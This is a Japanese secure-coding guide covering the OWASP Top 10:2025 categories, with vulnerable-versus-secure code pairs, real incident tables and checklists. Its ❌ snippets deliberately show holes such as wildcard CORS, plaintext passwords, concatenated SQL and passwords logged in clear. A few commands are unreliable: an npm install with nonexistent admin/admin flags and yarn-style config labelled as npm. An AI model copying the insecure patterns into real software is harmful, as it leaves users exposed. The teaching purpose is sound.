| Kubernetes ダッシュボード | ファイアウォール設定不十分で、インターネットから管理画面へアクセス可能 | フルシステム制御 |
| verbose エラーメッセージ | スタックトレース・DB 接続情報・ファイルパスが公開 | 攻撃者が技術スタックを特定し、標的型攻撃につなげる |
典型的な設定ミス:
❌ デバッグモードが本番で有効
❌ デフォルト認証情報(admin/admin)が変更されていない
❌ HTTP ヘッダーがセキュリティ情報を公開
❌ AWS S3 / GCS バケット権限が "Everyone" に設定
❌ CORS: Access-Control-Allow-Origin: * (全オリジン許可)
❌ SQL サーバーが外部ネットワークから接続可能
❌ API キーが環境変数ではなくソースコードに埋め込み
対策実装例:
次の例では、設定ミスの代表として CORS の広すぎる許可をどう狭めるかを見ます。
// ❌ セキュアではない CORS 設定
app.use(cors({ origin: '*' }));
// ✅ セキュアな CORS 設定
const whitelist = ['https://trusted-domain.com', 'https://app.example.com'];
app.use(cors({
origin: function(origin, callback) {
if (whitelist.includes(origin)) {
callback(null, true);
} else {
callback(new Error('CORS policy violated'));
}
},
credentials: true
}));
# ❌ デフォルト認証情報をそのまま使用
npm install my-package --auth-user=admin --auth-pass=admin
# ✅ 環境変数で管理
export DB_USER=$DB_USER
export DB_PASS=$DB_PASS_ENCRYPTED
対策チェックリスト:
-
[ ] 開発環境と本番環境の設定を完全分離(
.env.localvs.env.production) -
[ ] デバッグモード・詳細エラーログは本番で無効
-
[ ] セキュリティヘッダーを全エンドポイントで設定(HSTS, CSP, X-Frame-Options)
-
[ ] デフォルト認証情報(SSH キー、DB パスワード)を変更
-
[ ] 不要なコンポーネント・サービスを削除
-
[ ] 定期的な設定監査(Infrastructure as Code で自動検証)
-
[ ] クラウドストレージ権限を定期的に監視(Prowler, ScoutSuite 等)
A03:2025 — Software Supply Chain Failures / ソフトウェアサプライチェーン障害(#3 新規追加)
影響度: 極めて高い
背景・仕組み: 2025 年の新規カテゴリ。npm、Docker Hub、GitHub Actions など、ソフトウェア流通経路が攻撃対象化しています。2021 年の「Vulnerable and Outdated Components」を拡張し、依存関係だけでなく build system や distribution infrastructure まで含めて捉えるカテゴリです。
代表的な CWE:
| CWE | 名称 | このカテゴリでの意味 |
|---|---|---|
| CWE-829 | Inclusion of Functionality from Untrusted Control Sphere(信頼できない管理領域の機能取り込み) | 信頼できない供給元や配布経路のコードを取り込んでしまう |
| CWE-1357 | Reliance on Insufficiently Trustworthy Component(十分に信頼できない部品への依存) | 十分に信頼できない部品やソースに依存してしまう |
| CWE-1104 | Use of Unmaintained Third Party Components(保守されていないサードパーティ部品の使用) | 保守終了した依存関係を使い続ける |
| CWE-1395 | Dependency on Vulnerable Third-Party Component(脆弱なサードパーティ部品への依存) | 既知脆弱性を持つ第三者部品を取り込む |
実世界の事例:
| 事例 | 内容 | 被害規模 |
|---|---|---|
| SolarWinds 2020 | ビルドシステムが侵害され、マルウェア入りアップデート配布 | 政府機関・Fortune 100 企業が感染 |
| Log4j CVE-2021-44228 | Java ライブラリの RCE 脆弱性、数百万のアプリに組み込まれ | 急速な対応が必要(3 日で修正) |
| Shai-Hulud npm ワーム(2025) | 自己増殖型 npm パッケージが 23,000+ リポジトリ に拡散 | CI/CD シークレット 漏洩 |
| tj-actions GitHub Actions 侵害 | 攻撃者が既存タグを改ざん、23,000+ リポジトリの CI シークレット ダンプ | インフラ認証情報 露出 |
攻撃ベクトル:
1. タイポスクワッティング:
本物:lodash-es
偽物:lodash_es または loadash-es → typosquatting
2. 依存関係の混乱 (Dependency Confusion):
npm install lodash-es
→ 内部レジストリではなく、公開 npm パッケージを取得
→ 攻撃者が公開版にマルウェア埋め込み
3. メンテナー垂直化:
ライブラリメンテナーのアカウントが侵害
→ 正規のアップデートにバックドア組み込み
4. ビルド時間の改ざん(Build-time Compromise):
Docker コンテナイメージが改ざんされ、配布
対策実装例:
# ❌ バージョン固定なし(常に最新をインストール)
npm install lodash
# ✅ 正確なバージョン指定(package-lock.json 使用)
npm install lodash@4.17.21
npm ci # 本番では npm install ではなく npm ci を使用
# ✅ チェックサム検証(npm)
npm audit
npm audit signatures # パッケージ署名検証
# ✅ private registry + whitelist
npm set registry https://internal-npm.company.com
npm config set @company:registry https://internal-npm.company.com
# ✅ Dependency Confusion 対策(npm config)
npmScopes:
company:
npmRegistryServer: 'https://internal-npm.company.com'
対策チェックリスト:
-
[ ]
package-lock.json/yarn.lockを git に含める -
[ ]
npm ciで本番デプロイ(npm installではなく) -
[ ]
npm auditを定期実行、脆弱性は 1 日以内に修正 -
[ ] 依存関係の署名検証:
npm audit signatures -
[ ] private registry のホワイトリスト設定
-
[ ] メンテナーのアカウント保護:MFA、IP 制限
-
[ ] Docker イメージはダイジェスト で固定:
image:tag@sha256:... -
[ ] ソフトウェア部品表(SBOM)生成・管理:CycloneDX、SPDX
A04:2025 — Cryptographic Failures / 暗号化の失敗(#4 順位変動)
影響度: 非常に高い
背景・仕組み: 暗号化の失敗は、機密データ(パスワード、クレジット情報、個人情報)が平文で保存・転送される状態です。弱い暗号化アルゴリズム(MD5、SHA-1)、不適切な鍵管理、TLS 未使用が含まれます。 OWASP 2025 では、平均で 3.80% のアプリケーションに、このカテゴリの 32 個の CWE のいずれかが存在したと説明されています。
代表的な CWE:
| CWE | 名称 | このカテゴリでの意味 |
|---|---|---|
| CWE-327 | Use of a Broken or Risky Cryptographic Algorithm(破られた、または危険な暗号アルゴリズムの使用) | MD5、SHA-1、古い暗号モードなど危険な方式を使う |
| CWE-331 | Insufficient Entropy(エントロピー不足) | 鍵やトークンの乱数品質が低く予測可能になる |
| CWE-338 | Use of Cryptographically Weak PRNG(暗号学的に弱い疑似乱数生成器の使用) | 暗号用途に不適切な乱数生成器を使う |
| CWE-319 | Cleartext Transmission of Sensitive Information(機密情報の平文送信) | 機密情報を平文通信で流してしまう |
脆弱な暗号化:
| 脆弱な方式 | 理由 | 安全な方式 |
|---|---|---|
| MD5, SHA-1 | 既にクラック可能 | SHA-256, SHA-3 |
| DES, 3DES | 鍵長短い(56-168 ビット) | AES-256 |
| RSA < 2048 bit | 分解可能 | RSA 2048+ bit または楕円曲線 |
| TLS 1.0, 1.1 | セキュリティ欠陥 | TLS 1.3 |
| ハッシング:salt なし | rainbow table 攻撃 | bcrypt, argon2 (salt 付き) |
実装例:
次のコードは、平文保存と安全なハッシュ化の違いを、最小限の形で見比べるための例です。
// ❌ 脆弱:TLS 使用なし、パスワード平文保存
const user = {
email: 'user@example.com',
password: 'MyPassword123' // 平文で保存
};
app.listen(80); // HTTP(暗号化なし)
// ✅ 安全:TLS + bcrypt
const bcrypt = require('bcrypt');
const saltRounds = 12;
const hashedPassword = await bcrypt.hash('MyPassword123', saltRounds);
const user = {
email: 'user@example.com',
passwordHash: hashedPassword
};
app.listen(443, { key, cert }); // HTTPS
- A04 Cryptographic Failures - OWASP Top 10:2025
- NIST SP 800-63B-4
- WSTG v4.2 - Testing for Weak Transport Layer Security
- WSTG v4.2 - Testing for Sensitive Information Sent via Unencrypted Channels
A05:2025 — Injection / インジェクション(#5 順位変動)
内容: SQL インジェクション、NoSQL インジェクション、OS コマンドインジェクション、XXE、SSTI
代表的な CWE:
| CWE | 名称 | このカテゴリでの意味 |
|---|---|---|
| CWE-79 | Improper Neutralization of Input During Web Page Generation(Web ページ生成時の入力無害化不備) | XSS。HTML/JS 文脈への不適切な出力 |
| CWE-89 | Improper Neutralization of Special Elements used in an SQL Command(SQL コマンド中の特殊要素の無害化不備) | SQL インジェクション |
| CWE-77 | Improper Neutralization of Special Elements used in a Command(コマンド中の特殊要素の無害化不備) | コマンドインジェクション |
| CWE-94 | Improper Control of Generation of Code(コード生成の不適切な制御) | 動的コード生成や eval 系の危険な実装 |
| CWE-643 | Improper Neutralization of Data within XPath Expressions(XPath 式内データの無害化不備) | XPath インジェクションなど派生系の注入 |
(詳細は 包括的な攻撃手法 30+ 詳細ガイド の 1. インジェクション攻撃(7種類) セクション参照)
- OWASP Web Security Testing Guide (WSTG)
- SQL Injection Prevention Cheat Sheet - OWASP
- SQL Injection - PortSwigger Web Security Academy
A06:2025 — Insecure Design / 不適切な設計(#6)
内容: ビジネスロジック脆弱性、レース条件、脅威モデリング不足
代表的な CWE:
| CWE | 名称 | このカテゴリでの意味 |
|---|---|---|
| CWE-269 | Improper Privilege Management(不適切な権限管理) | 権限設計そのものが曖昧・不適切 |
| CWE-434 | Unrestricted Upload of File with Dangerous Type(危険な型のファイルを無制限にアップロード可能) | 危険ファイルを扱えてしまう設計 |
| CWE-501 | Trust Boundary Violation(信頼境界の逸脱) | 信頼してはいけない境界をまたいで入力を過信する |
| CWE-362 | Concurrent Execution using Shared Resource with Improper Synchronization(共有資源の不適切な同期による並行実行) | レース条件を防ぐ前提設計がない |
| CWE-840 | Business Logic Errors(ビジネスロジックの誤り) | ビジネスルールの欠落や悪用可能な仕様 |
(詳細は 包括的な攻撃手法 30+ 詳細ガイド の 5.4 ビジネスロジック脆弱性 、6.4 レース条件 セクションを参照)
A07:2025 — Authentication Failures / 認証の失敗(#7)
背景・仕組み: 認証の失敗は、セッション管理の脆弱性、パスワードリセット脆弱性、MFA 不足、認証器管理不備が含まれます。OWASP 2025 では旧称の「Identification and Authentication Failures」から、より実態に近い「Authentication Failures」へ名前が調整されました。
代表的な CWE:
| CWE | 名称 | このカテゴリでの意味 |
|---|---|---|
| CWE-287 | Improper Authentication(不適切な認証) | 本人確認が不十分で、なりすましを許す |
| CWE-384 | Session Fixation(セッション固定化) | 攻撃者が用意したセッションを被害者に使わせる |
| CWE-798 | Use of Hard-coded Credentials(ハードコードされた認証情報の使用) | 固定認証情報の埋め込み |
| CWE-640 | Weak Password Recovery Mechanism for Forgotten Password(脆弱なパスワード回復機構) | 脆弱なパスワードリセット導線 |
| CWE-613 | Insufficient Session Expiration(不十分なセッション有効期限管理) | セッションの失効やタイムアウトが不十分 |
実世界の事例:
| シナリオ | 内容 |
|---|---|
| セッションタイムアウト不十分 | 公開コンピュータで logout ボタンを押さず、ブラウザを閉じる → 攻撃者が同じコンピュータでセッション継続 |
| Single Sign-On (SSO) バグ | SSO ログイン後、1 つのアプリからのみログアウト → 他サービスはまだ認証状態 → 攻撃者がアカウント侵害 |
| JWT 署名検証漏れ | JWT をデコード のみ → 署名検証なし → ペイロードを改ざん可能 |
安全なセッション管理実装:
// ✅ セキュアなセッション設定
app.use(session({
secret: process.env.SESSION_SECRET, // 強力なランダムシークレット
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // JavaScript からアクセス不可
secure: true, // HTTPS のみ
sameSite: 'Strict', // CSRF 対策
maxAge: 15 * 60 * 1000 // 15 分で自動ログアウト
}
}));
// ✅ ログイン後、新しいセッション ID を生成
app.post('/login', (req, res) => {
const user = authenticateUser(req.body);
req.session.regenerate((err) => { // 重要:新しいセッション生成
req.session.userId = user.id;
res.redirect('/dashboard');
});
});
// ✅ JWT 署名検証
const verifyToken = (token, secret) => {
try {
return jwt.verify(token, secret, { algorithms: ['HS256'] });
} catch (err) {
throw new Error('Invalid token');
}
};
- A07 Authentication Failures - OWASP Top 10:2025
- NIST SP 800-63B-4
- Web Authentication Level 3 (WebAuthn) - W3C
A08:2025 — Software or Data Integrity Failures / ソフトウェアおよびデータ整合性障害(#8)
影響度: 非常に高い
背景・仕組み: ソフトウェアおよびデータの整合性障害は、CI/CD パイプライン、更新メカニズム、重要なデータストレージ、またはソフトウェアリポジトリの完全性が検証されない場合に発生します。署名なしのソフトウェアアップデート、信頼できないコード リポジトリ、CI/CD パイプラインのセキュリティ不足が含まれます。 このカテゴリは A03 と近いものの、supply chain 全体というより、より低い層での「信頼境界と整合性検証の失敗」に重点があります。
代表的な CWE:
| CWE | 名称 | このカテゴリでの意味 |
|---|---|---|
| CWE-353 | Missing Support for Integrity Check(整合性検査機能の欠如) | 改ざん検知の仕組み自体がない |
| CWE-347 | Improper Verification of Cryptographic Signature(暗号署名の不適切な検証) | 署名検証が不完全、または検証しない |
| CWE-295 | Improper Certificate Validation(不適切な証明書検証) | 証明書検証不足で信頼境界が崩れる |
| CWE-345 | Insufficient Verification of Data Authenticity(データ真正性の検証不足) | データの真正性を十分に確認しない |
| CWE-502 | Deserialization of Untrusted Data(信頼できないデータのデシリアライズ) | 危険なデシリアライズで整合性・実行制御が崩れる |
実世界の事例:
| 事例 | 内容 |
|---|---|
| SolarWinds Supply Chain Attack | ビルドシステムが侵害され、署名されたアップデートにマルウェア埋め込み |
| Codecov 侵害 | CI/CD ツールの認証情報が漏洩、改ざんされたスクリプト配布 |
| XcodeGhost(iOS アプリ) | 改ざんされた Xcode がダウンロードされ、アプリにスパイウェア組み込み |
脆弱な実装:
❌ ソフトウェア署名なし
❌ デジタル署名検証なし
❌ CI/CD パイプラインへのアクセス制御不足
❌ アーティファクトのチェックサム検証なし
❌ 信頼されていない供給源からのコンポーネント使用
❌ 過度な権限を持つ CI/CD アカウント
対策実装例:
# ✅ NPM パッケージの署名検証
npm audit signatures
# ✅ Docker イメージのダイジェスト固定(改ざん検出)
docker pull myregistry/myimage@sha256:abc123def456...
# ✅ デジタル署名によるコード検証
gpg --verify code.tar.gz.sig code.tar.gz
# ✅ CI/CD 環境変数の暗号化
export DATABASE_PASSWORD=$(aws secretsmanager get-secret-value --secret-id prod/db/password)
# ✅ ソフトウェア部品表(SBOM)生成と管理
syft registry:myregistry/myimage > sbom.json
対策チェックリスト:
-
[ ] すべてのソフトウェアアップデートにデジタル署名を実装
-
[ ] CI/CD パイプラインへのアクセスを MFA で保護
-
[ ] CI/CD 環境変数・シークレットを暗号化管理
-
[ ] アーティファクト(ビルド成果物)のチェックサム検証
-
[ ] コンポーネント署名の自動検証(npm, Docker, etc.)
-
[ ] SBOM(ソフトウェア部品表)生成・管理
-
[ ] パイプラインのログ記録・監査
-
[ ] サードパーティ依存関係の定期監査
A09:2025 — Security Logging & Alerting Failures / セキュリティログと監視の失敗(#9)
影響度: 非常に高い
背景・仕組み: セキュリティログと監視の失敗は、攻撃や不正アクセスが発生しても検知できず、事件対応が遅延する状況を指します。ログが記録されない、ログが不十分、または監視・アラートが機能しない場合、攻撃者は長期間検知されない状態で活動できます。
代表的な CWE:
| CWE | 名称 | このカテゴリでの意味 |
|---|---|---|
| CWE-778 | Insufficient Logging(ログ記録不足) | 必要な監査ログが残らない |
| CWE-390 | Detection of Error Condition Without Action(異常検出後に対処しない) | 異常は検出しても通知や遮断につながらない |
| CWE-532 | Insertion of Sensitive Information into Log File(ログファイルへの機密情報挿入) | ログに機密情報を書き込んでしまう |
| CWE-117 | Improper Output Neutralization for Logs(ログ向け出力の無害化不備) | ログ改ざんやログインジェクションを許す |
実世界の事例:
| 事例 | 内容 | 影響 |
|---|---|---|
| Target 2013 | ネットワーク侵入が発生したが、ログが適切に分析されず、3 ヶ月間検知されず | 4000 万件以上のクレジットカード情報漏洩 |
| Equifax 2017 | Apache Struts 脆弱性による侵害で、ログが不十分で初期アクセスが未検知 | 1.47 億人の個人情報漏洩 |
| AWS CloudTrail 未設定 | API 呼び出しがログされず、不正アクセスの証跡がない | コンプライアンス違反、攻撃検知不可 |
ログに記録されるべき重要イベント:
| イベント | ログ内容 |
|---|---|
| 認証失敗 | 失敗日時、ユーザー ID、失敗理由、送信元 IP |
| 権限昇格 | 権限変更日時、変更者、変更内容、承認者 |
| データアクセス | アクセス日時、ユーザー、アクセスしたレコード ID、アクション(読取/変更/削除) |
| API 呼び出し | エンドポイント、メソッド、送信元 IP、リクエストパラメータ(機密情報除外) |
| 設定変更 | 変更日時、変更者、変更前後の値 |
| エラー・例外 | エラー内容、スタックトレース(本番は隠す)、ユーザーコンテキスト |
脆弱なログ実装:
// ❌ ログなし
app.post('/api/transfer', (req, res) => {
const amount = req.body.amount;
db.transfer(amount); // ログ記録がない
res.json({ success: true });
});
// ❌ 機密情報がログに記録される
app.post('/login', (req, res) => {
logger.info(`Login attempt: ${req.body.email}, ${req.body.password}`); // パスワード漏洩!
});
// ❌ ログレベルが不適切
logger.debug(`User ${user.id} transferred $${amount}`); // デバッグレベルは本番で無効化される
安全なログ実装:
// ✅ 重要イベントをログに記録
const logger = require('winston');
app.post('/api/transfer', (req, res) => {
const amount = req.body.amount;
const userId = req.user.id;
try {
db.transfer(amount);
// ✅ 重要イベントを記録
logger.info('Fund transfer completed', {
userId: userId,
amount: amount,
timestamp: new Date().toISOString(),
sourceIP: req.ip
});
res.json({ success: true });
} catch (err) {
// ✅ エラーイベントを記録(技術詳細のみサーバー側)
logger.error('Transfer failed', {
userId: userId,
error: err.message,
timestamp: new Date().toISOString(),
sourceIP: req.ip
});
// クライアントには一般メッセージのみ
res.status(500).json({ error: 'Transfer failed' });
}
});
// ✅ 認証失敗をログ記録
app.post('/login', (req, res) => {
const email = req.body.email;
const user = db.findUser(email);
if (!user || !bcrypt.compareSync(req.body.password, user.passwordHash)) {
// ✅ 失敗イベントを記録(パスワードは記録しない)
logger.warn('Login failed', {
email: email,
reason: 'Invalid credentials',
sourceIP: req.ip,
timestamp: new Date().toISOString()
});
return res.status(401).json({ error: 'Invalid credentials' });
}
// ✅ ログイン成功を記録
logger.info('Login successful', {
userId: user.id,
email: email,
sourceIP: req.ip,
timestamp: new Date().toISOString()
});
req.session.userId = user.id;
res.json({ success: true });
});
SIEM(Security Information and Event Management: セキュリティ情報イベント管理)の設定例:
アラートルール例:
1. ログイン失敗が 5 回以上 → アカウント一時ロック
2. API エラーレートが 10% を超過 → セキュリティチームに通知
3. 設定変更が発生 → 変更内容をログ + 承認者に確認メール
4. 未知の IP からのアクセス → リスク評価実施
対策チェックリスト:
-
[ ] すべての認証・認可・データアクセスイベントをログ記録
-
[ ] 機密情報(パスワード、API キー、クレジット番号)をログに含めない
-
[ ] ログは改ざん防止の仕組みで保護(Append-only ストレージ)
-
[ ] ログの中央集約(SIEM: Security Information and Event Management)
- 例:Splunk、ELK、Datadog など
-
[ ] ログの長期保存(最低 1 年間、コンプライアンス要件に応じて)
-
[ ] 異常検知ルール実装(レート制限、エラー急増、不正パターン)
-
[ ] アラート通知設定(Slack、PagerDuty、メール)
-
[ ] 定期的なログ分析・セキュリティ監査
-
[ ] インシデント対応計画の作成・訓練
A10:2025 — Mishandling of Exceptional Conditions / 例外処理の不適切な取り扱い(#10 新規追加)
影響度: 中程度~高い
背景・仕組み: 2025 年の新規カテゴリ。エラーハンドリング不十分、例外処理なし、失敗時のセキュリティ制御喪失が含まれます。異常条件に遭遇したときに fail-open する、ロジックが崩れる、異常系で安全性が維持されない問題群として読むと理解しやすいです。
代表的な CWE:
| CWE | 名称 | このカテゴリでの意味 |
|---|---|---|
| CWE-209 | Generation of Error Message Containing Sensitive Information(機密情報を含むエラーメッセージ生成) | エラー応答で内部情報を漏らす |
| CWE-234 | Failure to Handle Missing Parameter(欠落パラメータの処理不備) | 必須パラメータ欠落時の処理が壊れる |
| CWE-636 | Not Failing Securely(安全に失敗しない) | 失敗時に fail-open してしまう |
| CWE-703 | Improper Check or Handling of Exceptional Conditions(例外条件の不適切な確認または処理) | 例外条件全般の扱いが弱い |
実世界の事例:
| シナリオ | 内容 |
|---|---|
| リソース枯渇 DoS | ファイルアップロード時の例外をキャッチするも、リソース解放不足 → メモリリーク → すべてのリソース枯渇 |
| 情報漏洩(エラーメッセージ) | SQL Error: Column 'users' not found → テーブル名が漏洩 → SQLI 攻撃対象化 |
| 状態破綻(トランザクション) | 複数ステップの金融取引が途中でエラー → 状態が不一貫 → 会計不一致 |
| セキュリティ制御喪失 | データベース接続エラー時、権限チェック をスキップして処理続行 |
脆弱なエラー処理:
// ❌ セキュアではない
try {
const user = await db.query('SELECT * FROM users WHERE id = ?', [userId]);
} catch (err) {
console.log(err); // スタックトレース・SQL が漏洩
res.json({ error: err.message }); // 技術詳細をクライアントに返す
}
// ✅ セキュアなエラー処理
try {
const user = await db.query('SELECT * FROM users WHERE id = ?', [userId]);
} catch (err) {
logger.error('Database error', { userId, error: err }); // サーバー側のみ詳細ログ
res.status(500).json({ error: 'Internal Server Error' }); // クライアントは一般メッセージ
}
対策チェックリスト:
-
[ ] すべての例外を
try-catchで処理 -
[ ] エラーメッセージは技術詳細を含めない
-
[ ] ログは サーバー側のみ詳細情報を記録
-
[ ] リソース漏れ防止(ファイル、DB 接続の明示的クローズ)
-
[ ] トランザクション管理:全成功 or 全失敗
-
[ ] 監視・アラート:エラーレート急増時に通知
-
A10 Mishandling of Exceptional Conditions - OWASP Top 10:2025
認証脆弱性と対策
この章は、ログイン、セッション、MFA、JWT のように、実装で誤りやすく影響の大きい認証まわりをまとめて見直すための章です。
この章に対応する参考資料:
- NIST SP 800-63B-4
- Authentication Cheat Sheet - OWASP
- Session Management Cheat Sheet - OWASP
- Password Storage Cheat Sheet - OWASP
- WSTG v4.2 - Authentication Testing
- WSTG v4.2 - Session Management Testing
- JSON Web Token (JWT) - RFC 7519
- Web Authentication Level 3 (WebAuthn) - W3C
パスワード管理のベストプラクティス
強力なハッシュ関数の使用:
| 脆弱な方式 | 安全な方式 |
|---|---|
| SHA-256、MD5 による直接ハッシング | bcrypt(推奨)、argon2 (最新) |
| ソルトなし | ソルト付きハッシング |
パスワード格納の実装例:
| 脆弱な実装 | 安全な実装 |
|---|---|
hash_password(password) |
bcrypt.hash(password, rounds=12) |
SHA256(password + salt) |
argon2.hash(password, memory=19456, iterations=2) |
多要素認証 (MFA) の実装
MFA はパスワード盗聴・ブルートフォース攻撃の対策として最も効果的です。 NIST SP 800-63B-4 でも、認証器管理を含む認証強化の重要性が示されています。
実装順序(推奨):
- WebAuthn / Passkeys — 耐フィッシング性が高く、現代的な最有力候補
- TOTP(Google Authenticator など) — 導入しやすく、SMS より安全
- メール確認コード — 補助用途として有効
- SMS — 利便性は高いが、SIM スワップ等のリスクがある
WebAuthn / Passkeys は、端末に保存された秘密鍵を使って本人確認する方式で、パスワードを送らない点が強みです。TOTP は一定時間ごとに変わるワンタイムコードを使う方式です。
JWT セキュア設定
| 設定項目 | 推奨値 | 理由 |
|---|---|---|
| 署名アルゴリズム | HS256 または RS256 | 強力な署名 |
| 有効期限 | 15~30 分 | 盗難リスク最小化 |
| リフレッシュトークン | 有効期限 7 日 | トークン更新メカニズム |
none アルゴリズム |
拒否 | 署名回避攻撃対策 |
実装メモ:
- JWT は認証の実装手段の 1 つであり、それ自体が認可を保証するわけではない
- 高価値リソース保護を API キーだけに依存しない
- セッションベースでもトークンベースでも、権限判断はサーバー側で行う
HTTPセキュリティヘッダー完全ガイド
Web サーバーが送信するセキュリティヘッダーは、ブラウザの動作を制御し、多くの攻撃を防ぎます。 ここでは「何の攻撃を防ぐためのヘッダーか」を対応づけながら、実装時に最低限押さえたい構成を先に示します。
この章に対応する参考資料:
- MDN: Content-Security-Policy
- MDN: Set-Cookie / SameSite
- WSTG - Stable: Test HTTP Strict Transport Security
- WSTG - v4.2: Configuration and Deployment Management Testing
推奨ヘッダー構成
# SSL/TLS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# XSS対策
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-ancestors 'none'
Content-Security-Policy-Report-Only: default-src 'self'; report-uri https://example.com/csp-report; report-to csp-endpoint
# Cookie 属性(CSRF対策)
Set-Cookie: sessionId=...; Secure; HttpOnly; SameSite=Strict
# キャッシュ対策
Cache-Control: no-store, max-age=0
Pragma: no-cache
# CORS
Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
ヘッダー詳細解説
Strict-Transport-Security (HSTS)
X-Content-Type-Options: nosniff
Content-Security-Policy (CSP)
frame-ancestors は「どのサイトからこのページを iframe に埋め込めるか」を決める指示です。Content-Security-Policy-Report-Only は、まだ遮断せず違反だけを報告して、設定を安全に慣らすための試運転用ヘッダーです。
実装チェックリスト
この章は、本文で説明した内容を開発・レビュー時に機械的に確認できるよう、実務向けの確認項目に落とし直したものです。
入力検証・出力エンコーディング
対応する参考資料:
-
[ ] すべてのユーザー入力を検証(型・長さ・形式)
- ブラウザ側の検証だけでなく、サーバー側でも必ず検証を実施
- 型チェック:数値フィールドに文字列が送信されていないか確認
- 長さチェック:最大文字数を超える入力を拒否
- 形式チェック:メールは
@を含む、電話番号は数字と+のみなど - ホワイトリスト方式:許可する値を明確に定義
-
[ ] SQL クエリはパラメータ化クエリを使用
- 危険:
"SELECT * FROM users WHERE id = " + userId - 安全:
db.query("SELECT * FROM users WHERE id = ?", [userId])またはdb.query("SELECT * FROM users WHERE id = :id", {id: userId}) - パラメータ化クエリにより、SQL インジェクション が自動的に防止される
- 危険:
-
[ ] HTML 出力時に HTML エンコーディング
<を<、>を>、"を"、'を'に変換- XSS 攻撃で埋め込まれたスクリプトタグがテキストとして表示される
- ライブラリ使用:DOMPurify、xss、html-escape など
-
[ ] JavaScript 出力時に JavaScript エスケープ
- JSON シリアライゼーション時に特殊文字をエスケープ
- 改行、クォート、バックスラッシュなどを適切に処理
JSON.stringify()を使用して安全に出力
-
[ ] URL パラメータのホワイトリスト検証
- リダイレクト先 URL は必ずホワイトリストと照合
window.location.href = userProvidedUrlは危険- 許可されたドメインのみにリダイレクト
-
[ ] ファイルアップロード:拡張子・MIME タイプのホワイトリスト
- 拡張子だけの判定は不十分(.php.jpg など)
- MIME タイプも検証(Content-Type ヘッダー)
- ファイルのマジックバイト(ファイルヘッダー)を確認
- アップロード先は実行不可能なディレクトリに限定
- ファイル名をランダム化(元のファイル名は使用しない)
認証・認可
対応する参考資料:
-
[ ] パスワードは bcrypt/argon2 でハッシング(ソルト付き)
- SHA-256、MD5 は認証用に不適切(高速すぎてブルートフォース攻撃の対象)
- bcrypt の rounds を最低 12 に設定(計算コストを増加)
- argon2 は更に強力(メモリコスト設定)
- salt は自動的に生成・保存される
-
[ ] MFA 実装(WebAuthn / Passkeys または TOTP を推奨)
- パスワード盗聴でも 2 段階目を突破できない
- WebAuthn / Passkeys:耐フィッシング性が高い
- TOTP(Google Authenticator):導入しやすく、SMS より安全
- SMS:セキュリティが低い(SIM スワップ攻撃の対象)
- メール確認:バックアップ用途に
-
[ ] JWT 署名検証の必須化
jwt.decode()のみではなく、jwt.verify()を必ず実行- 署名アルゴリズムを明示的に指定(
{algorithms: ['HS256']}) noneアルゴリズムは明示的に拒否- Payload は暗号化されていない前提で扱い、機密情報を入れない
- 秘密鍵は環境変数で管理、ソースコードに埋め込まない
-
[ ] セッション ID の十分なランダム化
- 予測可能な ID(連番、タイムスタンプ)は使用禁止
- 十分なランダム性(最低 128 ビット)
Secure、HttpOnly、SameSite属性を付けて Cookie 送信- 定期的にローテーション
-
[ ] ログイン試行のレート制限
- 失敗 3 回で 15 分ロック、または指数バックオフ
- ブルートフォース攻撃を実質的に不可能に
- 正規ユーザーには UX への配慮
-
[ ] パスワードリセットはトークン方式(有効期限付き)
- セキュリティ質問(「最初のペットの名前は?」)は使用禁止
- トークン:ランダム、有効期限 15~30 分
- リセット前に現在のメールアドレス確認
- 1 回限りの使用(再利用禁止)
-
[ ] 全エンドポイントで認可チェック実装
- フロントエンドの UI 制御だけでは不十分
- サーバー側で各リクエストの権限を確認
- ロールはデータベースから取得(JWT ペイロードは信頼しない)
-
[ ] API はオブジェクト単位・機能単位でも認可チェック
- OWASP API Security Top 10 の BOLA(Broken Object Level Authorization: オブジェクト単位の認可不備) / BFLA(Broken Function Level Authorization: 機能単位の認可不備)を意識する
/users/123の所有権確認だけでなく、返却フィールドや操作種別も検証- GraphQL では field / mutation 単位で認可確認
-
[ ] IDOR 対策(リソースのオーナーシップ確認)
/api/orders/123へのアクセス時、ユーザーがこのオーダーの所有者か確認- SQL クエリに所有権条件を含める:
WHERE id = ? AND user_id = ? - 404 と 403 を区別しないことで、リソース存在の推測を防止
通信セキュリティ
-
[ ] HTTPS/TLS 1.3 を使用
- HTTP は完全に廃止
- TLS 1.0, 1.1 は脆弱性が多いため使用禁止
- TLS 1.3 を優先し、少なくとも TLS 1.2 以上を維持
- 自己署名証明書は本番環境で使用禁止
-
[ ] ホストヘッダーのホワイトリスト検証
- Host ヘッダーはクライアントが自由に設定可能
- パスワードリセットメールのリンク生成時に安全でない Host を使うと、攻撃者のサイトにリダイレクト
- 設定ファイルで許可されたホスト名を定義
-
[ ] CORS を明示的に設定(Access-Control-Allow-Origin)
Access-Control-Allow-Origin: *は避ける(全オリジン許可)- 信頼できるドメインのみホワイトリスト
Access-Control-Allow-Credentials: trueは慎重に
-
[ ] SameSite クッキー設定(CSRF 対策)
SameSite=Strict:クロスサイトリクエストでクッキー送信しないSameSite=Lax:多くの通常サイトで現実的な既定値SameSite=None:常に送信(Secure フラグ必須)
-
[ ] HSTS ヘッダー設定
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload- ブラウザに「常に HTTPS で接続せよ」と指示
- HTTP ダウングレード攻撃を防止
データ保護
-
[ ] 機密情報(パスワード、API キー)のログ記録禁止
- ログに保存されたら、ログファイルから漏洩する可能性
- ログ出力前に機密情報をマスク
- ユーザー ID、メールアドレスくらいは記録しても OK
-
[ ] 暗号化通信(HTTPS)を強制
- HTTP からの自動リダイレクト
- すべてのエンドポイントを HTTPS 化
- 非本番環境でも HTTPS を推奨
-
[ ] キャッシュに機密情報が保存されないようコントロール
Cache-Control: no-store, max-age=0でキャッシュを無効化- ブラウザキャッシュにクレジットカード番号が保存されるのを防止
- 個人情報ページにはこのヘッダーを設定
-
[ ] データベース接続ユーザーの最小権限化
- アプリから DB への接続ユーザーに SELECT のみ許可
- 削除・更新が必要な場合、別の限定的なストアドプロシージャを使用
- 万が一 SQL インジェクション が発生しても被害を最小化
